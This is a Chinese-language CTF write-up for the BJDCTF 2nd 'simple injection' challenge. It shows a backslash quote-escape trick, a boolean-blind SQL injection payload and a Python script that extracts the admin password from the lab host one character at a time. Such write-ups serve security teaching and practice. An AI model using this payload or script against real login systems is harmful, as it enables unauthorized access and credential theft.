[BJDCTF 2nd]简单注入

 

 

访问robots.txt得到提示:hint.txt，访问hint.txt

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

 

如果传入username=admin\ password=123456#
就会变成

select * from users where username='admin\' and password='123456#';

可以理解为 

select * from users where username='admin and password=' 恶意代码 #';

 

post

username=admin\ password=^(ascii(substr(password,1,1))>1000)#

 

直接读取password的值

 

回显BJD needs to be stronger

 

上脚本

# coding:utf-8 
import requests
import time
url = 'http://72f5c3af-6509-4ecf-b923-36e9d7459c00.node3.buuoj.cn/'
headers = {
    'Host': '72f5c3af-6509-4ecf-b923-36e9d7459c00.node3.buuoj.cn',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '65',
    'Origin': 'http://72f5c3af-6509-4ecf-b923-36e9d7459c00.node3.buuoj.cn',
    'Connection': 'close',
    'Referer': 'http://72f5c3af-6509-4ecf-b923-36e9d7459c00.node3.buuoj.cn/',
    'Upgrade-Insecure-Requests': '1'
}
res = ''
for i in range(1,21):
    print(i)
    left = 31
    right = 128
    mid = left + ((right - left)>>1)
    while left < right:
        data = {
            'username':'admin\\',
            'password':'^(ascii(substr(password,{},1))>{})#'.format(i,mid)
            }
        r = requests.post(url = url, headers = headers, data = data)
        time.sleep(1)
        #print(mid)
        if r.status_code == 429:
            print('too fast')
            time.sleep(2)
        if 'BJD needs to be stronger' not in r.text:
            left = mid + 1
        elif 'BJD needs to be stronger'  in r.text:
            right = mid 
        mid = left + ((right-left)>>1)
    res += chr(mid)
    print(str(mid),res)
#password=OhyOuFOuNdit

 

用户名为admin，密码为OhyOuFOuNdit，登录即可得到flag